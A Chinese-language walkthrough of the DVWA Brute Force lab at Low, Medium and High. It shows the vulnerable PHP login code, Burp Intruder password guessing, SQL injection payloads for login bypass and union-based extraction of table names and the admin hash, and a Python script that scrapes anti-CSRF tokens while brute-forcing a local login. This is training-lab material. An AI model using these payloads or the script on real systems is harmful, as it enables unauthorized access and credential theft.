总结了dvwa中暴力破解的一些关卡

Low

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

include("../sql-connection.php");

if(isset($_GET['Login'])){
$user=$_GET['username'];
$pass=$_GET['password'];
$pass=md5($pass);

$sql="SELECT * FROM users WHERE user='$user' AND password='$pass'";
$result=mysql_query($sql) or die(mysql_error());
if($result && mysql_num_rows($result) == 1){
$avatar=mysql_result($result,0,'avatar');
echo "<p>Welcome to the password protected area $user</p>";
echo "<img src=\"{$avatar}\" />";
}
else{
echo "<pre><br />Username and/or password incorrect.</pre>";
}
}

?>

这里的关卡是一个用户登录的界面,用户必须正确输入用户名和密码才能成功登录,我们从源代码来看,服务器只对是否GET了一个Login值进行了检测,存在了明显的sql注入漏洞,攻击者不仅可以通过sql注入获取用户信息,还可以利用暴力破解的方法获取用户密码,这就是Brute Force(暴力破解)

漏洞利用

(1)利用burpsuite爆破密码

首先抓包

因为我们要对password参数进行爆破,所以在password参数的内容两边加上$

然后将包发送到intruder模块,选中Payloads,载入字典,点击爆破

从爆破结果的响应包长度来看,只有值为password的响应包长度与众不同,猜测正确密码就是password,尝试登陆,成功

(2)sql注入

首先寻找注入点,这里因为$pass经过md5加密,所以不能当做注入点,注入点就只剩下了$user

我们可以使用万能密码登录,在username中输入admin’ or ‘1’=’1

登录成功

也可以输入admin’#

同样登录成功

如果要获取admin的密码信息,我们可以继续注入

因为服务器限制了查询结果返回的行数只能为1,所以要获取信息,我们必须能让$user值在数据库中不存在

任意输入username值为 0‘# 测试不存在该用户名

因为这里有返回信息,我们可以考虑用较为简单的联合查询注入

那么首先我们就必须知道查询的列数,输入admin’ order by 9#发现报错

所以查询列数为8

接下来就是找获取有效信息的位置,我们输入0’ union select 1,2,3,4,5,6,7,8#

从页面上看是获取不到我们需要的信息,因为图片加载不出来,但是我们可以从源代码看

有效信息在6所处的位置,因此我们在6的位置开始注入

首先爆库

输入0’ union select 1,2,3,4,5,database(),7,8#

接着爆表

输入0’ union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database()),7,8#

再来爆列

输入0’ union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name=’users’),7,8#

最后爆数据

输入0’ union select 1,2,3,4,5,(select password from users where user=’admin’),7,8#

但是这里获取到的密码经过md5加密,md5又属于单向加密技术,所以这个密码并没有实际的用处

Medium

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include("../sql-connection.php");

if(isset($_GET['Login'])){
$user=$_GET['username'];
$user=mysql_real_escape_string($user);
$pass=$_GET['password'];
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);

$sql="SELECT * FROM users WHERE user='$user' AND password='$pass'";
$result=mysql_query($sql) or die(mysql_error());
if($result && mysql_num_rows($result) == 1){
$avatar=mysql_result($result,0,'avatar');
echo "<p>Welcome to the password protected area $user</p>";
echo "<img src=\"{$avatar}\" />";
}
else{
sleep(2);
echo "<pre><br />Username and/or password incorrect.</pre>";
}
}

?>

相对于上一关,这关对$user和$pass进行了mysql_real_escape的转义处理,预防了sql注入

并且登录失败时会sleep 2秒

虽然预防了sql注入,但是依然可以利用burp爆破密码,跟上一关一样就不演示了

High

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

if(isset($_GET['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');

//Sanitiseusernameinput
$user=$_GET['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);

//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);

//Checkdatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)or die('<pre>'.mysql_error().'</pre>');

if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");

//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(rand(0,3));
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}

mysql_close();
}

//GenerateAnti-CSRFtoken
generateSessionToken();

?>

加入了token验证机制,我们每次登录时都必须提交一个token值,服务器将提交的token值与cookie或session中的token值对比,若不同则拦截下来,也就是说用之前burp爆破密码的方法是行不通的

还利用了mysql_real_escape_string函数对$user和$pass进行了转义处理,防止了sql注入

这里我们要想登录,就必须获取到token值,这关利用python脚本进行爆破

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
from bs4 import BeautifulSoup

url="http://127.0.0.1/dvwa/vulnerabilities/brute/"
header={
'Host': '127.0.0.1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/brute/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'security=high; PHPSESSID=842n4cnel00gbrkd5mi9fk98f6',
'Connection': 'close'
}
file=open('pass.txt','r')
for line in file:
line=line.strip()
s=requests.Session()
r=s.get(url,headers=header)
soup=BeautifulSoup(r.text,'html.parser')
user_token=soup.find_all('input')[3]['value']
payload={
'username':'admin',
'password':line,
'user_token':user_token,
'Login':'Login'
}
html=s.get(url,params=payload,headers=header)
length=len(html.text)
print('user_token:'+user_token+'username:admin password:'+line+' length:'+str(length))

思路是首先读取文件中一个个猜测的密码,这里只用10个密码进行模拟,然后创建一个会话记录,用于保政访问页面的token值不发生变化,然后利用BeautifulSoup库的find_all方法获取所有input标签组成的列表,带有token值的input标签在列表的第三个元素,然后将value属性的值,也就是token值取出,这就获得了token值,然后再将各个参数通过get形式传递给服务器,最终比较返回页面的长度,正常而言,输入正确和失败返回的页面长度是不同的,所以众多猜测密码中,只有一个密码返回的页面长度是不同的,那个密码就可能是正确的密码

这里还应当注意,应先用burp抓包获取访问登录页面的请求头,否则脚本每次访问的都是dvwa一开始的登录页面

脚本执行结果:

可以看出password的返回长度跟其他不同,在登录页面输入,登录成功